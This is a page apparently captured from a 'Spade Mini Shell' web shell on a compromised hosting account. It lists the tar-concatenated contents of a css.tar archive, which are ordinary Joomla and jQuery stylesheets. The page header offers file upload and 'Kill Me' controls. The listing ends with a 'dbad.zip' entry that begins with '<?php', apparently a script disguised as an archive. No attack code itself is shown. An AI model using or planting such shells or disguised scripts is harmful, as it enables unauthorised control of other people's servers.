Spade

Mini Shell

Directory:~$ /home/lmsyaran/www/pusher/
Upload File

[Home] [System Details] [Kill Me]
Current File:~$ /home/lmsyaran/www/pusher/css.tar

index.html000064400000000072151167371730006553 0ustar00<html><body
style="background-color:
#000;"></body></html>jquery.pretty-text-diff.css000064400000000214151167375170012025
0ustar00/* colors for pretty-text-diff*/
ins {
    background-color: #c6ffc6;
    text-decoration: none;
}

del {
    background-color: #ffc6c6;
}

adminlist.css000064400000010731151167413610007251 0ustar00/**
 * @copyright	Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
 * @license		GNU General Public License version 2 or later; see LICENSE.txt
 */

/* Common CSS for adminlist grids */

html, body {
	background-color: #F0F0F0;
	color: ButtonText;
	font-family: Tahoma, Verdana, sans-serif !important;
	margin: 0 !important;
	padding: 0 !important;
}

table.adminlist {
	width: 99%;
	border-spacing: 1px;
	background-color: #f3f3f3;
	color: #666;
	font-size: 11px;
}

table.adminlist td,
table.adminlist th {
	padding: 4px !important;
	font-size: 11px;
}

table.adminlist thead th {
	text-align: center;
	background: #f7f7f7;
	color: #666;
	border-bottom: 1px solid #CCC;
	border-left: 1px solid #fff;
}

table.adminlist thead th.left {
	text-align: left;
}

table.adminlist thead a:hover {
	text-decoration: none;
}

table.adminlist thead th img {
	vertical-align: middle;
	padding-left: 3px;
}

table.adminlist tbody th {
	font-weight: bold;
}

table.adminlist th a img {
	border: 0;
}

table.adminlist tbody tr {
	background-color: #fff;
	text-align: left;
}

table.adminlist tbody tr.row0:hover td,
table.adminlist tbody tr.row1:hover td {
	background-color: #e8f6fe;
}

table.adminlist tbody tr td {
	background: #fff;
	border: 1px solid #fff;
}

table.adminlist tbody tr.row1 td {
	background: #f0f0f0;
	border-top: 1px solid #FFF;
}

table.adminlist tfoot tr {
	text-align: center;
	color: #333;
}

table.adminlist tfoot td,table.adminlist tfoot th {
	background-color: #f7f7f7;
	border-top: 1px solid #999;
	text-align: center;
}

table.adminlist td.order {
	text-align: center;
	white-space: nowrap;
	width: 200px;
}

table.adminlist td.order span {
	float: left;
	width: 20px;
	text-align: center;
	background-repeat: no-repeat;
	height: 13px;
}

table.adminlist .pagination {
	display: inline-block;
	padding: 0;
	margin: 0 auto;
}

/* Tree indentation & nesting - Up to 10 levels deep so don't go
crazy :) */
table.adminlist td.indent-4		{ padding-left: 4px; }
table.adminlist td.indent-19	{ padding-left: 19px; }
table.adminlist td.indent-34	{ padding-left: 34px; }
table.adminlist td.indent-49	{ padding-left: 49px; }
table.adminlist td.indent-64	{ padding-left: 64px; }
table.adminlist td.indent-79	{ padding-left: 79px; }
table.adminlist td.indent-94	{ padding-left: 94px; }
table.adminlist td.indent-109	{ padding-left: 109px; }
table.adminlist td.indent-124	{ padding-left: 124px; }
table.adminlist td.indent-139	{ padding-left: 139px; }

table.adminlist tr td.btns a {
	text-decoration: underline;
}

/* added Angie */

/* Filter Form */
fieldset ol,
ol#property-values {
	margin: 0;
	padding: 0;
}

fieldset li,
ol#property-values li {
	list-style: none;
	margin: 0;
	padding: 5px;
}

fieldset.filter {
	border: 0;
	margin: 0;
	padding: 0 0 5px;
}

fieldset.filter ol {
	border: 0;
	list-style: none;
	margin: 0;
	padding: 5px 0 0;
}

fieldset.filter ol li {
	float: left;
	padding: 0 5px 0 0;
}

fieldset.filter ol li fieldset {
	border: 0;
	margin: 0;
	padding: 0;
}

fieldset.filter .left {
	float: left;
	width: auto;
	margin: 0;
	text-align: left;
}

fieldset.filter .left label {
	float: left;
	padding: 2px;
}

fieldset.filter .right {
	float: right;
}

fieldset#buttonbar {
	border: 0;
	text-align: right;
}

fieldset#buttonbar ul {
	list-style: none;
	margin: 0;
	padding: 0;
}

fieldset#buttonbar li {
	margin: 0;
	padding: 5px;
}

button {
	margin-top: 4px;
	background: #fff;
	border: 1px solid #ccc;
	text-decoration: none;
}

button:hover {
	cursor: pointer;
	background: #E8F6FE;
	text-decoration: none;
	border: 1px solid #aaa;
}

fieldset input,
fieldset textarea,
fieldset select,
fieldset img {
	float: left;
	width: auto;
	margin: 5px 5px 5px 0;
	font-size: 11px !important;
}

.list-footer div.limit {
	float: left;
	line-height: 22px;
	margin: 0 10px;
}

.list-footer div.limit select#limit {
	width: 50px;
}

/* ++++++++++++++  pagination  ++++++++++++++ */

.list-footer {
	margin: 10px 0;
	padding: 10px 0 10px 0;
	text-align: center;
}

table .list-footer ul {
	list-style-type: none;
	margin: 0 !important;
	padding: 0;
	text-align: left;
	border: solid 0 #ccc;
	float: left;
}

.list-footer li {
	display: inline;
	padding: 2px 5px !important;
	text-align: left;
	border: solid 0 #eee;
	margin: 0 2px;
	font-size: 11px;
}

.list-footer li.pagination-start,
.list-footer li.pagination-next,
.list-footer li.pagination-end,
.list-footer li.pagination-prev {
	border: 0;
}

.list-footer li.pagination-start ,
.list-footer li.pagination-start span {
	padding: 4px;
}

p.counter {
	font-weight: bold;
}
calendar-jos.css000064400000007473151167413610007640 0ustar00/**
 * @copyright	Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
 * @license		GNU General Public License version 2 or later; see LICENSE.txt
 */

/* The main calendar widget.  DIV containing a table. */
div.calendar {
	position: relative;
	z-index: 10000;
	width: 226px;
}

.calendar, .calendar table {
	border: 1px solid #cccccc;
	font-size: 11px;
	color: #000;
	cursor: default;
	background: #efefef;
	font-family: arial,verdana,sans-serif;
}

/* Header part -- contains navigation buttons and day names. */

.calendar .button { /* "<<", "<",
">", ">>" buttons have this class */
	text-align: center;    /* They are the navigation buttons */
	padding: 2px;          /* Make the buttons seem like they're pressing
*/
}

.calendar thead .title { /* This holds the current "month, year"
*/
	font-weight: bold;      /* Pressing it will take you to the current date
*/
	text-align: center;
	background: #333333;
	color: #ffffff;
	padding: 2px;
}

.calendar thead .headrow { /* Row <TR> containing navigation buttons
*/
	background: #dedede;
	color: #000;
}

.calendar thead .name { /* Cells <TD> containing the day names */
	border-bottom: 1px solid #cccccc;
	padding: 2px;
	text-align: center;
	color: #000;
}

.calendar thead .weekend { /* How a weekend day name shows in header */
	color: #999;
}

.calendar thead .hilite { /* How do the buttons in header appear when hover
*/
	background: #bbbbbb;
	color: #000000;
	border: 1px solid #cccccc;
	padding: 1px;
}

.calendar thead .active { /* Active (pressed) buttons in header */
	background: #c77;
	padding: 2px 0px 0px 2px;
}

.calendar thead .daynames { /* Row <TR> containing the day names */
	background: #dddddd;
}

/* The body part -- contains all the days in month. */

.calendar tbody .day { /* Cells <TD> containing month days dates */
	width: 2em;
	text-align: right;
	padding: 2px 4px 2px 2px;
}

.calendar table .wn {
	padding: 2px 3px 2px 2px;
	border-right: 1px solid #cccccc;
	background: #dddddd;
}

.calendar tbody .rowhilite td {
	background: #666666;
	color: #ffffff;
}

.calendar tbody .rowhilite td.wn {
	background: #666666;
	color: #ffffff;
}

.calendar tbody td.active { /* Active (pressed) cells <TD> */
	background: #000000;
	color: #ffffff;
}

.calendar tbody td.weekend { /* Cells showing weekend days */
	color: #999;
}

.calendar tbody td.selected { /* Cell showing today date */
	font-weight: bold;
	background: #000000;
	color: #ffffff;
}

.calendar tbody td.hilite { /* Hovered cells <TD> */
	background: #999999;
	color: #ffffff;
}

.calendar tbody td.today {
	font-weight: bold;
}

.calendar tbody .disabled {
	color: #999;
}

.calendar tbody .emptycell { /* Empty cells (the best is to hide them) */
	visibility: hidden;
}

.calendar tbody .emptyrow { /* Empty row (some months need less than 6
rows) */
	display: none;
}

/* The footer part -- status bar and "Close" button */

.calendar tfoot .footrow { /* The <TR> in footer (only one right now)
*/
	text-align: center;
	background: #cccccc;
	color: #000;
}

.calendar tfoot .ttip { /* Tooltip (status bar) cell <TD> */
	border-top: 1px solid #cccccc;
	background: #efefef;
	color: #000000;
}

.calendar tfoot .hilite { /* Hover style for buttons in footer */
	background: #666666;
	border: 1px solid #f40;
	padding: 1px;
}

.calendar tfoot .active { /* Active (pressed) style for buttons in footer
*/
	background: #999999;
	padding: 2px 0px 0px 2px;
}

/* Combo boxes (menus that display months/years for direct selection) */

.combo {
	position: absolute;
	display: none;
	top: 0px;
	left: 0px;
	width: 4em;
	cursor: default;
	border: 1px solid #655;
	background: #ffffff;
	color: #000;
	font-size: smaller;
}

.combo .label {
	width: 100%;
	text-align: center;
}

.combo .hilite {
	background: #fc8;
}

.combo .active {
	border-top: 1px solid #cccccc;
	border-bottom: 1px solid #cccccc;
	background: #efefef;
	font-weight: bold;
}
fields/calendar-rtl.css000064400000010265151167413610011105 0ustar00/**
 * @copyright	Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
 * @license		GNU General Public License version 2 or later; see LICENSE.txt
 */
 .js-calendar {
	box-shadow: 0 0 15px 4px rgba(0,0,0,.15) !important;
 }
.calendar-container {
	float: left;
	min-width: 160px;
	padding: 0;
	list-style: none;
	border-radius: 5px;
	background-color: #ffffff !important;
	z-index: 1100 !important;
}
.calendar-container table {
	table-layout: fixed;
	max-width: 262px;
	border-radius: 5px;
	background-color: #ffffff !important;
	z-index: 1100 !important;
}
/* The main calendar widget.  DIV containing a table. */
div.calendar-container table th, .calendar-container table td {
	padding: 8px 0;
	line-height: 1.1em;
	text-align: center;
}

div.calendar-container table body td {
	line-height: 2em;
}

div.calendar-container table td.title { /* This holds the current
"month, year" */
	vertical-align: middle;
	text-align: center;
}

.calendar-container table thead td.headrow { /* Row <TR> containing
navigation buttons */
	background: #fff;
	color: #000;
}

.calendar-container table thead td.name { /* Cells <TD> containing
the day names */
	border-bottom: 1px solid #fff;
	text-align: center;
	color: #000;
}

.calendar-container table thead td.weekend { /* How a weekend day name
shows in header */
	color: #999;
}

/* The body part -- contains all the days in month. */

.calendar-container table tbody td.day { /* Cells <TD> containing
month days dates */
	text-align: right;
}

.calendar-container table tbody td.wn {
	background: #fff;
}

.calendar-container table tbody td.weekend { /* Cells showing weekend days
*/
	color: #999;
}

.calendar-container table tbody td.hilite { /* Hovered cells <TD> */
	background: #999999;
	color: #ffffff;
}

.calendar-container table tbody td.day {
	border: 0;
	cursor : pointer;
	font-size: 12px;
	min-width: 38px;
}

.calendar-container table tbody td.day.wn {
	text-align: center;
	background-color: #f4f4f4;
}

.calendar-container table tbody td.day.selected { /* Cell showing today
date */
	background: #3071a9;
	color: #fff;
	border: 0;
}

.calendar-container table tbody td.today {
	position: relative;
	height: 100%;
	width: auto;
	font-weight: bold;
}
.calendar-container table tbody td.today:after {
	position: absolute;
	bottom: 3px;
	left: 3px;
	right: 3px;
	content: "";
	height: 3px;
	border-radius: 1.5px;
	background-color: #46a546;
}
.calendar-container table tbody td.today.selected:after {
	background-color: #fff;
}

.calendar-container table tbody td.day:hover {
	cursor: pointer;
	background: #3d8fd7;
	color: #fff;
}
.calendar-container table tbody td.day:hover:after {
	background-color: #fff;
}

.calendar-container table tbody .disabled {
	color: #999;
	background-color: #fafafa;
}

.calendar-container table tbody .emptycell { /* Empty cells (the best is to
hide them) */
	visibility: hidden;
}

.calendar-container table tbody .emptyrow { /* Empty row (some months need
less than 6 rows) */
	display: none;
}

.buttons-wrapper {
	padding: 5px 5px;
}
a.js-btn.btn.btn-exit, a.js-btn.btn.btn-today, a.js-btn.btn.btn-clear {
	cursor: pointer;
	text-decoration: none;
	min-width: 60px;
}
.calendar-container .calendar-head-row td {
	padding: 4px 0 !important;
}
.calendar-container .day-name {
	font-size: 0.7rem;
	font-weight: bold;
}
.calendar-container .time td {
	padding: 8px 8px 8px 0;
}
.time .time-title {
	background-image: url("data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAABYAAAAWCAYAAADEtGw7AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAdlJREFUeNqklUsohFEUx7/5kgWGjEcRJULJSmJhITQLr8UoFko2k2SDLGZD2SglJcXOxo6Fx0ayUt4jWXgNG2rIwsgMJZPn/+o/dRvfa8yp33zfPfecM+e795x7bYqxtIAaUA2KgA3cgn3gBcsgrMQg3eAAfJtwBYa0Atg0dAugg+/3YAUcgkvqCkAVcIIy6raBCwT0/mRdymYG5Bt8VQoYBe+0Pwdpik6mwuAVNMawbJXgmr7e6FVokzKt1XBOZnYuneB54Jn+w/LEMZXTOo65nN80yNxNmyBIF4o6Ku6AXccpmzbzJstyQbs+FT/1VC6CFyU+mePTqbIBhBwp8csGn8UqO0qIz8AhstNBk8BP4As4RGCVyk8LgUVVlFvIXFXZ+4qUuZY8gn6W1QmYBKkadklM9PfLJriTYxYyEYFXpZp3s8Yj0kv9mhi0cuCTlsVMuqRWbpL0Xuo8YpAotaQnhgoQSzEAMjhuZoywfMb0UCmyKP1HmSXzJBQxpqIn9zhxA0piCJoFdqXu/bOpmeCMBiF+ZoJJ0E7gp0/AKCF71M1xCkZ4NRWSCjAIdiQ7v9UlHAcPUdfQh1QJEd7ArOg0K1dTRHJAO2hg8zhoH2IVbYElvaPgR4ABAFM/gtHnpJfxAAAAAElFTkSuQmCC");
	background-repeat: no-repeat;
	background-position: center; 
}

fields/calendar.css000064400000010267151167413610010310 0ustar00/**
 * @copyright	Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
 * @license		GNU General Public License version 2 or later; see LICENSE.txt
 */
 .js-calendar {
	box-shadow: 0 0 15px 4px rgba(0,0,0,.15) !important;
 }
.calendar-container {
	float: left;
	min-width: 160px;
	padding: 0;
	list-style: none;
	border-radius: 5px;
	background-color: #ffffff !important;
	z-index: 1100 !important;
}
.calendar-container table {
	table-layout: fixed;
	max-width: 262px;
	border-radius: 5px;
	background-color: #ffffff !important;
	z-index: 1100 !important;
}
/* The main calendar widget.  DIV containing a table. */
div.calendar-container table th, .calendar-container table td {
	padding: 8px 0;
	line-height: 1.1em;
	text-align: center;
}

div.calendar-container table body td {
	line-height: 2em;
}

div.calendar-container table td.title { /* This holds the current
"month, year" */
	vertical-align: middle;
	text-align: center;
}

.calendar-container table thead td.headrow { /* Row <TR> containing
navigation buttons */
	background: #fff;
	color: #000;
}

.calendar-container table thead td.name { /* Cells <TD> containing
the day names */
	border-bottom: 1px solid #fff;
	text-align: center;
	color: #000;
}

.calendar-container table thead td.weekend { /* How a weekend day name
shows in header */
	color: #999;
}

/* The body part -- contains all the days in month. */

.calendar-container table tbody td.day { /* Cells <TD> containing
month days dates */
	text-align: right;
}

.calendar-container table tbody td.wn {
	background: #fff;
}

.calendar-container table tbody td.weekend { /* Cells showing weekend days
*/
	color: #999;
}

.calendar-container table tbody td.hilite { /* Hovered cells <TD> */
	background: #999999;
	color: #ffffff;
}

.calendar-container table tbody td.day {
	border: 0;
	cursor : pointer;
	font-size: 12px;
	min-width: 38px;
}

.calendar-container table tbody td.day.wn {
	text-align: center;
	background-color: #f4f4f4;
}

.calendar-container table tbody td.day.selected { /* Cell showing today
date */
	background: #3071a9;
	color: #fff;
	border: 0;
}

.calendar-container table tbody td.today {
	position: relative;
	height: 100%;
	width: auto;
	font-weight: bold;
}
.calendar-container table tbody td.today:after {
	position: absolute;
	bottom: 3px;
	left: 3px;
	right: 3px;
	content: "";
	height: 3px;
	border-radius: 1.5px;
	background-color: #46a546;
}
.calendar-container table tbody td.today.selected:after {
	background-color: #fff;
}

.calendar-container table tbody td.day:hover {
	cursor: pointer;
	background: #3d8fd7;
	color: #fff;
}
.calendar-container table tbody td.day:hover:after {
	background-color: #fff;
}

.calendar-container table tbody .disabled {
	color: #999;
	background-color: #fafafa;
}

.calendar-container table tbody .emptycell { /* Empty cells (the best is to
hide them) */
	visibility: hidden;
}

.calendar-container table tbody .emptyrow { /* Empty row (some months need
less than 6 rows) */
	display: none;
}
.buttons-wrapper {
	padding: 5px 5px;
}
a.js-btn.btn.btn-exit, a.js-btn.btn.btn-today, a.js-btn.btn.btn-clear {
	cursor: pointer;
	text-decoration: none;
	min-width: 60px;
}
.calendar-container .calendar-head-row td {
    padding: 4px 0 !important;
}
.calendar-container .day-name {
	font-size: 0.7rem;
	font-weight: bold;
}
.calendar-container .time td {
	padding: 8px 0 8px 8px;
}
.time .time-title {
	background-image: url("data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAABYAAAAWCAYAAADEtGw7AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAdlJREFUeNqklUsohFEUx7/5kgWGjEcRJULJSmJhITQLr8UoFko2k2SDLGZD2SglJcXOxo6Fx0ayUt4jWXgNG2rIwsgMJZPn/+o/dRvfa8yp33zfPfecM+e795x7bYqxtIAaUA2KgA3cgn3gBcsgrMQg3eAAfJtwBYa0Atg0dAugg+/3YAUcgkvqCkAVcIIy6raBCwT0/mRdymYG5Bt8VQoYBe+0Pwdpik6mwuAVNMawbJXgmr7e6FVokzKt1XBOZnYuneB54Jn+w/LEMZXTOo65nN80yNxNmyBIF4o6Ku6AXccpmzbzJstyQbs+FT/1VC6CFyU+mePTqbIBhBwp8csGn8UqO0qIz8AhstNBk8BP4As4RGCVyk8LgUVVlFvIXFXZ+4qUuZY8gn6W1QmYBKkadklM9PfLJriTYxYyEYFXpZp3s8Yj0kv9mhi0cuCTlsVMuqRWbpL0Xuo8YpAotaQnhgoQSzEAMjhuZoywfMb0UCmyKP1HmSXzJBQxpqIn9zhxA0piCJoFdqXu/bOpmeCMBiF+ZoJJ0E7gp0/AKCF71M1xCkZ4NRWSCjAIdiQ7v9UlHAcPUdfQh1QJEd7ArOg0K1dTRHJAO2hg8zhoH2IVbYElvaPgR4ABAFM/gtHnpJfxAAAAAElFTkSuQmCC");
	background-repeat: no-repeat;
	background-position: center; 
}

frontediting.css000064400000001031151167413610007752 0ustar00/**
 * @copyright	Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
 * @license		GNU General Public License version 2 or later; see LICENSE.txt
 */

/* Module edit in front-end */

.jmoddiv.jmodinside {
    position: relative;
    top: 0;
    left: 0;
}
.btn.jmodedit
{
    z-index: 1001;
    display: block;
    position: absolute;
    top: 0;
    right: 0;
}
html[dir=rtl] .btn.jmodedit
{
    right: auto;
    left: 0;
}

/* Menu edit in front-end */

.btn.jfedit-menu
{
    z-index: 1002;
    display: block;
}
jquery.Jcrop.min.css000064400000012241151167413610010440 0ustar00/*!
Jcrop.min.css v2.0.4 - build: 20151117
 *  Copyright 2008-2015 Tapmodo Interactive LLC
 *  Free software under MIT License
 **/

.jcrop-active{direction:ltr;text-align:left;box-sizing:border-box;-ms-touch-action:none}.jcrop-dragging{-moz-user-select:none;-webkit-user-select:none;-ms-user-select:none;user-select:none}.jcrop-selection{z-index:2}.jcrop-selection.jcrop-current{z-index:4}.jcrop-border{background:#fff
url(Jcrop.gif);line-height:1px!important;font-size:0!important;overflow:hidden;position:absolute;filter:alpha(opacity=50)!important;opacity:.5!important}.jcrop-border.ord-w,.jcrop-border.ord-e,.jcrop-border.ord-n{top:0}.jcrop-border.ord-n,.jcrop-border.ord-s{width:100%;height:1px!important}.jcrop-border.ord-w,.jcrop-border.ord-e{height:100%;width:1px!important}.jcrop-border.ord-e{right:-1px}.jcrop-border.ord-n{top:-1px}.jcrop-border.ord-w{left:-1px}.jcrop-border.ord-s{bottom:-1px}.jcrop-selection{position:absolute}.jcrop-box{z-index:2;display:block;background:0
0;border:0;padding:0;margin:0;font-size:0}.jcrop-box:hover{background:0
0}.jcrop-box:active{background:0 0}.jcrop-box:focus{outline:1px
rgba(128,128,128,.65)
dotted}.jcrop-active,.jcrop-box{position:relative}.jcrop-box{width:100%;height:100%;cursor:move}.jcrop-handle{z-index:4;background-color:rgba(49,28,28,.58);border:1px
#eee
solid;width:9px;height:9px;font-size:0;position:absolute;filter:alpha(opacity=80)!important;opacity:.8!important}.jcrop-handle.ord-n{left:50%;margin-left:-5px;margin-top:-5px;top:0;cursor:n-resize}.jcrop-handle.ord-s{bottom:0;left:50%;margin-bottom:-5px;margin-left:-5px;cursor:s-resize}.jcrop-handle.ord-e{margin-right:-5px;margin-top:-5px;right:0;top:50%;cursor:e-resize}.jcrop-handle.ord-w{left:0;margin-left:-5px;margin-top:-5px;top:50%;cursor:w-resize}.jcrop-handle.ord-nw{left:0;margin-left:-5px;margin-top:-5px;top:0;cursor:nw-resize}.jcrop-handle.ord-ne{margin-right:-5px;margin-top:-5px;right:0;top:0;cursor:ne-resize}.jcrop-handle.ord-se{bottom:0;margin-bottom:-5px;margin-right:-5px;right:0;cursor:se-resize}.jcrop-handle.ord-sw{bottom:0;left:0;margin-bottom:-5px;margin-left:-5px;cursor:sw-resize}.jcrop-touch
.jcrop-handle{z-index:4;background-color:rgba(49,28,28,.58);border:1px #eee
solid;width:18px;height:18px;font-size:0;position:absolute;filter:alpha(opacity=80)!important;opacity:.8!important}.jcrop-touch
.jcrop-handle.ord-n{left:50%;margin-left:-10px;margin-top:-10px;top:0;cursor:n-resize}.jcrop-touch
.jcrop-handle.ord-s{bottom:0;left:50%;margin-bottom:-10px;margin-left:-10px;cursor:s-resize}.jcrop-touch
.jcrop-handle.ord-e{margin-right:-10px;margin-top:-10px;right:0;top:50%;cursor:e-resize}.jcrop-touch
.jcrop-handle.ord-w{left:0;margin-left:-10px;margin-top:-10px;top:50%;cursor:w-resize}.jcrop-touch
.jcrop-handle.ord-nw{left:0;margin-left:-10px;margin-top:-10px;top:0;cursor:nw-resize}.jcrop-touch
.jcrop-handle.ord-ne{margin-right:-10px;margin-top:-10px;right:0;top:0;cursor:ne-resize}.jcrop-touch
.jcrop-handle.ord-se{bottom:0;margin-bottom:-10px;margin-right:-10px;right:0;cursor:se-resize}.jcrop-touch
.jcrop-handle.ord-sw{bottom:0;left:0;margin-bottom:-10px;margin-left:-10px;cursor:sw-resize}.jcrop-dragbar{font-size:0;position:absolute}.jcrop-dragbar.ord-n,.jcrop-dragbar.ord-s{height:9px!important;width:100%}.jcrop-dragbar.ord-e,.jcrop-dragbar.ord-w{top:0;height:100%;width:9px!important}.jcrop-dragbar.ord-n{margin-top:-5px;cursor:n-resize;top:0}.jcrop-dragbar.ord-s{bottom:0;margin-bottom:-5px;cursor:s-resize}.jcrop-dragbar.ord-e{margin-right:-5px;right:0;cursor:e-resize}.jcrop-dragbar.ord-w{margin-left:-5px;cursor:w-resize}.jcrop-shades{position:relative;top:0;left:0}.jcrop-shades
div{cursor:crosshair}.jcrop-noresize .jcrop-dragbar,.jcrop-noresize
.jcrop-handle{display:none}.jcrop-selection.jcrop-nodrag
.jcrop-box,.jcrop-nodrag .jcrop-shades div{cursor:default}.jcrop-light
.jcrop-border{background:#fff;filter:alpha(opacity=70)!important;opacity:.7!important}.jcrop-light
.jcrop-handle{background-color:#000;border-color:#fff}.jcrop-dark
.jcrop-border{background:#000;filter:alpha(opacity=70)!important;opacity:.7!important}.jcrop-dark
.jcrop-handle{background-color:#fff;border-color:#000}.solid-line
.jcrop-border{background:#fff}.jcrop-thumb{position:absolute;overflow:hidden;z-index:5}.jcrop-active
img,.jcrop-thumb img,.jcrop-thumb
canvas{min-width:none;min-height:none;max-width:none;max-height:none}.jcrop-hl-active
.jcrop-border{filter:alpha(opacity=20)!important;opacity:.2!important}.jcrop-hl-active
.jcrop-handle{filter:alpha(opacity=10)!important;opacity:.1!important}.jcrop-hl-active
.jcrop-selection:hover{}.jcrop-hl-active .jcrop-selection:hover
.jcrop-border{background-color:#ccc;filter:alpha(opacity=50)!important;opacity:.5!important}.jcrop-hl-active
.jcrop-selection.jcrop-current .jcrop-border{background:gray
url(Jcrop.gif);opacity:.35!important;filter:alpha(opacity=35)!important}.jcrop-hl-active
.jcrop-selection.jcrop-current
.jcrop-handle{filter:alpha(opacity=30)!important;opacity:.3!important}.jcrop-hl-active
.jcrop-selection.jcrop-focus
.jcrop-border{background:url(Jcrop.gif);opacity:.65!important;filter:alpha(opacity=65)!important}.jcrop-hl-active
.jcrop-selection.jcrop-focus
.jcrop-handle{filter:alpha(opacity=60)!important;opacity:.6!important}button.jcrop-box{background:0
0}modal.css000064400000005705151167413610006366 0ustar00/**
 * SqueezeBox - Expandable Lightbox
 *
 * Allows to open various content as modal,
 * centered and animated box.
 *
 * @version		1.3
 *
 * @license		MIT-style license
 * @author		Harald Kirschner <mail [at] digitarald.de>
 * @author		Rouven Weßling <me [at] rouvenwessling.de>
 * @copyright	Author
 */

#sbox-overlay {
	position: fixed;
	background-color: #000;
	left: 0px;
	top: 0px;
}

#sbox-window {
	position: absolute;
	background-color: #fff;
	text-align: left;
	overflow: visible;
	padding: 10px;
	/* invalid values, but looks smoother! */
	-moz-border-radius: 3px;
	-webkit-border-radius: 3px;
	border-radius: 3px;
}

#sbox-window[aria-hidden=true],
#sbox-overlay[aria-hidden=true] {
	display: none;
}

#sbox-btn-close {
	position: absolute;
	width: 30px;
	height: 30px;
	right: -15px;
	top: -15px;
	background: url(../images/modal/closebox.png) no-repeat center;
	border: none;
}

.sbox-loading #sbox-content {
	background-image: url(../images/modal/spinner.gif);
	background-repeat: no-repeat;
	background-position: center;
}

#sbox-content {
	clear: both;
	overflow: auto;
	background-color: #fff;
	height: 100%;
	width: 100%;
}

.sbox-content-image#sbox-content {
	overflow: visible;
}

#sbox-image {
	display: block;
}

.sbox-content-image img {
	display: block;
	width: 100%;
	height: 100%;
}

.sbox-content-iframe#sbox-content {
	overflow: visible;
}

/* Hides scrollbars */
.body-overlayed {
	overflow: hidden;
}

/* Hides flash (Firefox problem) and selects (IE) */
.body-overlayed embed, .body-overlayed object, .body-overlayed select {
	visibility: hidden;
}

#sbox-window embed, #sbox-window object, #sbox-window select {
	visibility: visible;
}

/* Shadows */
#sbox-window.shadow {
	-webkit-box-shadow: 0 0 10px rgba(0, 0, 0, 0.7);
	-moz-box-shadow: 0 0 10px rgba(0, 0, 0, 0.7);
	box-shadow: 0 0 10px rgba(0, 0, 0, 0.7);
}

.sbox-bg {
	position: absolute;
	width: 33px;
	height: 40px;
}

.sbox-bg-n {
	left: 0;
	top: -40px;
	width: 100%;
	background: url(../images/modal/bg_n.png) repeat-x;
}
.sbox-bg-ne {
	right: -33px;
	top: -40px;
	background: url(../images/modal/bg_ne.png) no-repeat;
}
.sbox-bg-e {
	right: -33px;
	top: 0;
	height: 100%;
	background: url(../images/modal/bg_e.png) repeat-y;
}
.sbox-bg-se {
	right: -33px;
	bottom: -40px;
	background: url(../images/modal/bg_se.png) no-repeat;
}
.sbox-bg-s {
	left: 0;
	bottom: -40px;
	width: 100%;
	background: url(../images/modal/bg_s.png) repeat-x;
}
.sbox-bg-sw {
	left: -33px;
	bottom: -40px;
	background: url(../images/modal/bg_sw.png) no-repeat;
}
.sbox-bg-w {
	left: -33px;
	top: 0;
	height: 100%;
	background: url(../images/modal/bg_w.png) repeat-y;
}
.sbox-bg-nw {
	left: -33px;
	top: -40px;
	background: url(../images/modal/bg_nw.png) no-repeat;
}
@media (max-width: 979px) {
	#sbox-btn-close {
		right: -10px;
		top: -10px;
	}
}
@media (max-device-width: 979px) {
	#sbox-content {
		-webkit-overflow-scrolling: touch;
	}
	#sbox-content.sbox-content-iframe {
		overflow: scroll;
		-webkit-overflow-scrolling: touch;
	}
}
mootree.css000064400000000753151167413610006742 0ustar00/**
 * @copyright	Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
 * @license		GNU General Public License version 2 or later; see LICENSE.txt
 */

.mooTree_node {
	font-family: Verdana, Arial, Helvetica;
	font-size: 10px;
	white-space: nowrap;
}

.mooTree_text {
	padding-top: 3px;
	height: 15px;
	cursor: pointer;
}

.mooTree_img {
	float: left;
	width: 18px;
	height: 18px;
	overflow: hidden;
}

.mooTree_selected	 {
	background-color: #ffc;
	font-weight: bold;
}
mootree_rtl.css000064400000000313151167413610007613 0ustar00/**
 * @copyright	Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
 * @license		GNU General Public License version 2 or later; see LICENSE.txt
 */

.mooTree_img {
	float: right;
}system.css000064400000002646151167413610006617 0ustar00/**
 * @copyright	Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
 * @license		GNU General Public License version 2 or later; see LICENSE.txt
 */

/* System Messages */
#system-message {
	margin-bottom: 10px;
	padding: 0;
}

#system-message > dt {
	font-weight: bold;
	display: none;
}

#system-message > dd {
	margin: 0;
	font-weight: bold;
	text-indent: 30px;
}

#system-message > dd > ul {
	color: #0055BB;
	background-position: 4px top;
	background-repeat: no-repeat;
	margin-bottom: 10px;
	list-style: none;
	padding: 10px;
	border-top: 3px solid #84A7DB;
	border-bottom: 3px solid #84A7DB;
}

#system-message > dd > ul > li {
	line-height: 1.5em;
}

/* System Standard Messages */
#system-message > .message > ul {
	background-color: #C3D2E5;
	background-image: url(../images/notice-info.png);
}

/* System Error Messages */
#system-message > .error > ul,
#system-message > .warning > ul,
#system-message > .notice > ul {
	color: #c00;
}

#system-message > .error > ul {
	background-color: #E6C0C0;
	background-image: url(../images/notice-alert.png);
	border-color: #DE7A7B;
}

/* System Warning Messages */
#system-message > .warning > ul {
	background-color: #E6C8A6;
	background-image: url(../images/notice-note.png);
	border-color: #FFBB00;
}

/* System Notice Messages */
#system-message > .notice > ul {
	background-color: #EFE7B8;
	background-image: url(../images/notice-note.png);
	border-color: #F0DC7E;
}
dbad.zip000064400000253411151167475550006210 0ustar00<?php
